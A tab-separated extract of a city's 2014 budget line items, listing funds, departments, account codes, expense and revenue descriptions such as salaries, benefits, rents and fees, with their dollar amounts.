6320	BA	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	404610.0	PROMOTIONAL FEES	662.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6321	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
6322	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	14894.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14894.0
6323	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	31000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31000.0
6324	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1409.0
6325	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	22825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22825.0
6326	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	196380.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	196380.0
6327	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTE WATER	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-67000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-67000.0
6328	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2014	-122088.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-122088.0
6329	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2014	-1300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1300.0
6330	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402100.0	AIRPORT - FUEL SALES	650.0	Charges for Service	2014	-295000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-295000.0
6331	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	12129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12129.0
6332	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	1206.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1206.0
6333	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
6334	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1432743.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1432743.0
6335	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2014	16402.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16402.0
6336	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2014	1563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1563.0
6337	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	13034.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13034.0
6338	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522630.0	OFFICE RENT	804.0	 Supplies and Expenses	2014	137000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	137000.0
6339	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	912.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	912.0
6340	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	9578.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9578.0
6341	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2014	2666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2666.0
6342	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		UNEMPLOYMENT		Salaries and Wages	2014	2848.0	0	0	0	0.0	42	13.0	0	0	0	0	0.0	2903.0
6343	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	1414.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1414.0
6344	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	30081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30081.0
6345	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
6346	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	32383.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32383.0
6347	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1316.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1316.0
6348	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2014	-162285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-162285.0
6349	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561700.0	TEMP RELOCATION FOOD PROVIDERS		 Supplies and Expenses	2014	12306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12306.0
6350	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	509972.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	509972.0
6351	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	74306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	74306.0
6352	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	22347.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22347.0
6353	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	12250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12250.0
6354	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511749.0	VISION	804.0	Salaries and Wages	2014	1076.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1076.0
6355	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
6356	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	808.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
6357	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
6358	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	79.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79.0
6359	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DCAP	804.0	Salaries and Wages	2014	708.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	708.0
6360	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	434605.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	434605.0
6361	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	71400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	71400.0
6362	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2014	4234.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4234.0
6363	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EAP	804.0	Salaries and Wages	2014	1036.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1036.0
6364	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566960.0	PRISONER RETENTION & TRANSPORT	806.0	 Supplies and Expenses	2014	153750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	153750.0
6365	BA	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	401830.0	VENDOR RENT	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6366	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511749.0	VISION	804.0	Salaries and Wages	2014	1381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1381.0
6367	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EAP	804.0	Salaries and Wages	2014	1040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1040.0
6368	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	20487.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20487.0
6369	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EAP		Salaries and Wages	2014	731.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	731.0
6370	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	10549.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10549.0
6371	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555030.0	EMPLOYEE MEDICAL EXAMS	804.0	 Supplies and Expenses	2014	114904.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	114904.0
6372	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511748.0	DENTAL	804.0	Salaries and Wages	2014	11536.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11536.0
6373	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511749.0	VISION	804.0	Salaries and Wages	2014	1372.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1372.0
6374	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER		 Supplies and Expenses	2014	-65000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-65000.0
6375	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	1538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1538.0
6376	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	291338.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	291338.0
6377	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511749.0	VISION	816.0	Salaries and Wages	2014	2502.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2502.0
6378	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402160.0	AIRPORT - MISCELLANEOUS REV	662.0	Other	2014	-2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2500.0
6379	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402163.0	PARKING RECEIPTS	662.0	Other	2014	-46100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46100.0
6380	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511713.0	MEDICARE-MISC EMPLOYEES		Salaries and Wages	2014	7928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7928.0
6381	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	1035.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1035.0
6382	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2014	11433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11433.0
6383	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522180.0	BANK FEES		 Supplies and Expenses	2014	654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	654.0
6384	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	20303.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20303.0
6385	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	13340.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13340.0
6386	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	5919.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5919.0
6387	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	24276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24276.0
6388	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	110428.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	110428.0
6389	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	56582.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	56582.0
6390	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1217.0
6391	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	11098.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11098.0
6392	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	900.0
6393	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	139.0
6394	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	14566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14566.0
6395	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	367.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	367.0
6396	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	750.0
6397	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	805.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	805.0
6398	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
6399	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400420.0	SKATE PARK	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6400	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401009.0	SWIM CENTER-AQUATIC SUPPLIES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6401	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	404760.0	RENT/PROP FEES - KEC	618.0	Rentals	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6402	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6403	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		DCAP	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6404	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6405	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407220.0	NEIGHBOR NOTIFICATION FEE	612.0	Charges for Service	2014	-21320.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-21320.0
6406	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	6409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6409.0
6407	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER TO FUND 01		 Supplies and Expenses	2014	262757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	262757.0
6408	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400772.0	JONATHAN CLUB LEASE	618.0	Rentals	2014	-125000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-125000.0
6409	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407180.0	VALET LICENSING FEES	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6410	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	319895.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	319895.0
6411	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	2501.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2501.0
6412	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	183523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	183523.0
6413	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	3022866.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3022866.0
6414	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	74.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	74.0
6415	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	400320.0	MILES PLAYHOUSE PROD FEES	612.0	Charges for Service	2014	-24000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-24000.0
6416	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401151.0	REBATES-MALL ASSESS DISTR	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6417	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544360.0	ELECTRONIC RESOURCES	812.0	 Supplies and Expenses	2014	242545.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	242545.0
6418	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	28146.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28146.0
6419	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	84615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	84615.0
6420	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3470.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3470.0
6421	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	13150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13150.0
6422	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	14364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14364.0
6423	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	4139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4139.0
6424	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	45151.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45151.0
6425	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	13205.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13205.0
6426	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	6100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6100.0
6427	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	9441.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9441.0
6428	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	14288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14288.0
6429	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	810.0	 Supplies and Expenses	2014	28260.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28260.0
6430	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	88793.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88793.0
6431	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	4196.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4196.0
6432	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2014	26337.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26337.0
6433	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405830.0	MEASURE R - OPERATING	658.0	Sales Tax	2014	-7861048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7861048.0
6434	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	404580.0	BAYSAVER FEES	662.0	Other	2014	-80000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-80000.0
6435	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	404580.0	BAYSAVER FEES	662.0	Other	2014	-18600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18600.0
6436	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	89336.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	89336.0
6437	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	68954.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	68954.0
6438	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	15987.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15987.0
6439	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2014	40341.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40341.0
6440	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	28732.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28732.0
6441	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1666.0
6442	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	25264.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25264.0
